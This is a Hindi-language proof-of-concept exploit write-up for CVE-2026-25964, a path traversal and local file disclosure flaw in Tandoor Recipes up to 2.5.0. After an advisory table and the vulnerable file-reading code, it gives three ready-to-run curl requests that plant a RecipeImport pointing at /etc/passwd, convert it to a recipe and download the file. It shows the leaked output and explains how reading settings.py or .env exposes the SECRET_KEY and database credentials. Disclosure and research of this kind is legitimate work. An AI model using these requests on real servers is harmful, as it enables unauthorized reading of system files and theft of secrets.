
CVE-2026-25964 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Tandoor Recipes में रेसिपी इम्पोर्ट में पाथ ट्रैवर्सल के माध्यम से प्रमाणित स्थानीय फ़ाइल प्रकटीकरण, जो मनमानी फ़ाइल पढ़ने की अनुमति देता है।
रेसिपी आयात के माध्यम से प्रमाणित स्थानीय फ़ाइल प्रकटीकरण के लिए प्रूफ-ऑफ-कॉन्सेप्ट
प्रकटीकरण: मूल रूप से मेरे द्वारा GHSA-6485-jr28-52xx के माध्यम से रिपोर्ट किया गया
⚠️ केवल अधिकृत पेंटेस्टिंग/अनुसंधान उपयोग के लिए।
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-25964 |
| गंभीरता | 🟡 मध्यम |
| CVSS स्कोर | 4.9 |
| CVSS वेक्टर | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22: पाथ ट्रैवर्सल, CWE-73: फ़ाइल नाम का बाहरी नियंत्रण |
| प्रभावित उत्पाद | Tandoor Recipes ≤ 2.5.0 |
| पैच किया गया संस्करण | 2.5.1 |
| परामर्श | GHSA-6485-jr28-52xx |
Tandoor Recipes के RecipeImport वर्कफ़्लो में एक अनुचित रूप से अधिकृत पाथ ट्रैवर्सल भेद्यता (CWE-22) आयात अनुमतियों वाले प्रमाणित उपयोगकर्ताओं को सर्वर पर मनमानी फ़ाइलें पढ़ने की अनुमति देती है। यह भेद्यता file_path पैरामीटर में इनपुट सत्यापन की कमी और Local स्टोरेज बैकएंड में अपर्याप्त जाँच के कारण उत्पन्न होती है, जिससे एक हमलावर स्टोरेज निर्देशिका प्रतिबंधों को बायपास कर सकता है और संवेदनशील सिस्टम फ़ाइलों (जैसे, /etc/passwd) या एप्लिकेशन कॉन्फ़िगरेशन फ़ाइलों (जैसे, settings.py) तक पहुँच सकता है, जिससे संभावित रूप से पूर्ण सिस्टम समझौता हो सकता है।
यह भेद्यता एप्लिकेशन के इच्छित स्टोरेज रूट के विरुद्ध उपयोगकर्ता-आपूर्ति किए गए इनपुट को सत्यापित करने में विफलता के कारण मौजूद है।
/api/recipe-import/ एंडपॉइंट प्रमाणित उपयोगकर्ताओं को मनमाने file_path और storage बैकएंड के साथ एक RecipeImport ऑब्जेक्ट बनाने की अनुमति देता है। यह सुनिश्चित करने के लिए कोई सत्यापन नहीं किया जाता है कि file_path कॉन्फ़िगर किए गए स्टोरेज निर्देशिका के भीतर स्थित है।cookbook/provider/local.py में Local.get_file विधि फ़ाइल पुनर्प्राप्ति अनुरोध को संसाधित करती है:
@staticmethod
def get_file(recipe):
# VULNERABILITY: Directly opens the path specified in recipe.file_path
# without verifying it is within the storage root directory.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd) या सापेक्ष पथ (जैसे, ../../app/config.py) खोले जा सकते हैं।जब एक RecipeImport ऑब्जेक्ट को import_recipe क्रिया के माध्यम से Recipe में परिवर्तित किया जाता है, तो दुर्भावनापूर्ण पथ बना रहता है। get_recipe_file के लिए एक बाद का कॉल कमजोर पठन ऑपरेशन को ट्रिगर करता है, जो फ़ाइल सामग्री को उपयोगकर्ता को लौटाता है।
पूर्वापेक्षाएँ: रेसिपी आयात करने की अनुमति वाला एक प्रमाणित उपयोगकर्ता खाता। डिफ़ॉल्ट रूप से, यह अनुमति प्रतिबंधित हो सकती है, लेकिन यदि निम्न-विशेषाधिकार वाली भूमिकाओं को दी जाती है, तो प्रभाव काफी बढ़ जाता है। यहाँ तक कि व्यवस्थापकों के लिए भी, यह एक सुरक्षा सीमा उल्लंघन का प्रतिनिधित्व करता है क्योंकि एप्लिकेशन-स्तरीय अनुमतियों को फ़ाइलसिस्टम-स्तरीय पठन पहुँच प्रदान नहीं करनी चाहिए।
चरण 1: एक दुर्भावनापूर्ण आयात ऑब्जेक्ट बनाएँ
लक्ष्य फ़ाइल (जैसे, /etc/passwd) की ओर इशारा करते हुए एक RecipeImport ऑब्जेक्ट बनाने के लिए एक POST अनुरोध भेजें।
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(नोट: storage: 1 आमतौर पर डिफ़ॉल्ट स्थानीय स्टोरेज से मेल खाता है। आवश्यकता पड़ने पर समायोजित करें।)

चरण 2: आयात को रेसिपी में परिवर्तित करें
एक स्थायी Recipe ऑब्जेक्ट बनाने के लिए आयात प्रक्रिया को ट्रिगर करें। चरण 1 से लौटाए गए import_id (जैसे, 4) पर ध्यान दें।
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(<IMPORT_ID> को चरण 1 प्रतिक्रिया से ID से बदलें। यह अनुरोध नया recipe_id (जैसे, 34) लौटाएगा)

चरण 3: मनमानी फ़ाइल डाउनलोड करें
चरण 2 से लौटाए गए नए रेसिपी id (जैसे, 34) का उपयोग करके रेसिपी फ़ाइल एंडपॉइंट के माध्यम से फ़ाइल तक पहुँचें।
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
परिणाम: सर्वर /etc/passwd की सामग्री लौटाता है, जो LFD भेद्यता की पुष्टि करता है।
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd पढ़ने की क्षमता सिस्टम उपयोगकर्ताओं की गणना की अनुमति देती है।/opt/recipes/recipes/settings.py (परीक्षण में पुष्टि की गई) या .env पढ़ सकता है। यह SECRET_KEY (सत्र जालसाजी की अनुमति देता है) और डेटाबेस क्रेडेंशियल (सीधे डेटाबेस एक्सेस की अनुमति देता है) को उजागर करता है।